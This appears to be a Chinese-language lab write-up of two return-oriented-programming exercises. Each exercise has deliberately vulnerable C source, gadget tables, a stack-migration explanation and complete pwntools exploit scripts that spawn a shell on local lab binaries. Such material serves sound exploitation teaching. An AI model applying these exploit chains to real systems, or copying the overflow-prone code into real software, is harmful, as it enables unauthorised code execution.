# pwn rop ## demo lys rop_lab1 ### Recon file: ![image](https://hackmd.io/_uploads/ByhvUZbqR.png) checksec: ![image](https://hackmd.io/_uploads/SJH9IbZcR.png) source.c: ```c= #include <stdlib.h> #include <stdio.h> #include <unistd.h> char name[0x100]; size_t readbuf(char *buf, size_t len) { size_t i=0; while(i<len){ if(read(0,&buf[i],1)!=1){ break; } if(buf[i]=='\n'){ buf[i] = 0; break; } i++; } return i; } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); //printf("Gift: ") printf("What is your name? "); readbuf(name, 0x100); printf("Hello, %s\n", name); char buf[0x10]; printf("You have a buffer overflow vuln: "); readbuf(buf, 0x100); return 0; } ``` 我們發現在 ```"You have a buffer overflow vuln: "```的 buf 大小是 10 ,但是他用 readbuf(buf,0x100) 去讀,所以導致了 buffer overflow 的問題,再來,題目本身是 statically linked , 所以我們可以很方便的去找 gadget 來用 owob ## exploit 我們的目的是要執行 execve 這個 systemcall ,所以我們要達成下面的條件 | 暫存器 | 值 | | ---- | ---- | | rax | 0x3b | | rdi | '/bin/sh'的位置 | | rsi | 0 | | rdx | 0 | 經過一番尋找之後,我們成功湊齊了所有必要的 gadget ,但是有一個問題是 pop rdx 的gadget 不是那麼乾淨,那我們可以用 pop rdx ; pop rbx 去解決它 , 最後一個問題是,我們該如何找到 name 也就是我們執行 '/bin/sh' 應該要有的位置, 其實只要用 ida 點下去那一個 function 就找到了 owob ![image](https://hackmd.io/_uploads/ByzK6ZZ90.png) | 暫存器 | 值 | | ---- | ---- | | rax | 0x44fd87 | | rdi | 0x401f4f+name_addr | | rsi | 0x409f7e | | rdx_rbx | 0x485bab | | syscall | 0x401d04| exp.py: ``` py= from pwn import * context(arch="amd64") r=process('./rop1') p='' name=p64(0x4C7300) pop_rax=p64(0x000000000044fd87)+p64(0x3b) pop_rdi=p64(0x0000000000401f4f)+name pop_rsi=p64(0x0000000000409f7e)+p64(0x0) pop_rdx_pop_rbx=p64(0x0000000000485bab)+p64(0x0)+p64(0x0) syscall=p64(0x0000000000401d04) p+=pop_rax+pop_rdi+pop_rsi+pop_rdx_pop_rbx+syscall r.sendlineafter('?','/bin/sh') r.sendlineafter(':','a'*0x18+p) r.interactive() ``` ### pwned! ![image](https://hackmd.io/_uploads/S10V5WWqR.png) ## demo lys rop2 ### Stack Migration 當今天在串 rop gadget 的時候發現字串的大小不夠你塞,你可以用 leave ; ret 去跳到另外一個有空間 Stack 上 | gadget | 意思 | | ---- | ---- | | leave | mov rsp , rbp; pop rbp | | ret | pop rip | ### Recon file: ![image](https://hackmd.io/_uploads/ByPV2fW5R.png) checksec: ![image](https://hackmd.io/_uploads/r1CBnGWqA.png) source.c: ```c= #include <stdlib.h> #include <stdio.h> #include <unistd.h> char name[0x100]; size_t readbuf(char *buf, size_t len) { size_t i=0; while(i<len){ if(read(0,&buf[i],1)!=1){ break; } if(buf[i]=='\n'){ buf[i] = 0; break; } i++; } return i; } int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); //printf("Gift: ") printf("What is your name? "); readbuf(name, 0x100); printf("Hello, %s\n", name); char buf[0x10]; printf("You have a buffer overflow vuln: "); readbuf(buf, 0x20); return 0; } ``` 我們發現在 ```"You have a buffer overflow vuln: "```的 buf 大小是 10 ,但是他用 readbuf(buf,0x20) 去讀,所以導致了 buffer overflow 但是 buf 讀取的大小並不夠我們串好完整的 rop gadget , 但是我們可以利用 Stack Migration 去達到 call execve , 此外,這一題也是 statically linked,所以很好找到 gadget 這邊是 lys 簡報上的示意圖 這是我們第一次做完 leave 的時候: ![image](https://hackmd.io/_uploads/r1U1j3-q0.png) 這是我們第一次做完 ret 的時候: ![image](https://hackmd.io/_uploads/H1uminbcR.png) 會發現我們需要做兩次的 <font color="#f00"> leave ret; </font> 才可以讓我們的 rop gadget 跳到一個有空間的地方 ,至於為啥不用寫兩個 leave ret; 在 exp 裡面是因為程式本身就有做一次 leave ret; 了 ![image](https://hackmd.io/_uploads/Sy9l6nb5A.png) 第一個 read 的時候因為 size 比較大,固被我們當作塞整串 ROP 的地方 ```py= r.sendlineafter('?','/bin/sh\x00'+p) #/bin/sh\x00 寫到 rdi 上ㄌ ``` 第二個 read 因為空間不夠我們塞,所以是讓我們拿來跳轉到上面那一個 read 的地方 ```py= r.sendlineafter(':','a'*0x10+name+leave) ``` Stack 樣子: ``` Stack grows down ↓ [ message (0x10 bytes) ] <- buffer 開頭 [ saved RBP (8 bytes) ] <- 被 p64(name) 蓋掉 [ return address (8 bytes) ] <- 被 p64(leave_ret) 蓋掉 ``` ### debug 一開始的 exp 的部分是 ```py r.sendlineafter('?','/bin/sh'+p) ``` 會發程式爛掉ㄌ,所以就 gdb attach 上去看 下個斷點在 leave 前面 ![leave](https://hackmd.io/_uploads/SyFsW0bqC.png) 發現程式有動到 migration 的部分,但是會發現 migration 之後就沒有一個所以然ㄌ ![bug1](https://hackmd.io/_uploads/H1gkMR-5R.png) ![bug2](https://hackmd.io/_uploads/SyrlfCWqR.png) 後面加上去 \x00 之後會發現程式正常的運作我們的 rop gadget ![solve1](https://hackmd.io/_uploads/rJFqfA-90.png) ![solve2](https://hackmd.io/_uploads/BJWhfRW9A.png) ## exploit ```py from pwn import * context(arch="amd64") r=process('./rop2') p='' name=p64(0x4C7300) pop_rax=p64(0x000000000044fd87)+p64(0x3b) pop_rdi=p64(0x0000000000401f4f)+name pop_rsi=p64(0x0000000000409f7e)+p64(0x0) pop_rdx_pop_rbx=p64(0x0000000000485bab)+p64(0x0)+p64(0x0) leave=p64(0x00000000004017ee) syscall=p64(0x401d04) p+=pop_rax+pop_rdi+pop_rsi+pop_rdx_pop_rbx+syscall #pause() r.sendlineafter('?','/bin/sh\x00'+p) #pause() r.sendlineafter(':','a'*0x10+name+leave) r.interactive() ``` ### pwned! ![image](https://hackmd.io/_uploads/SysZ7C-9C.png)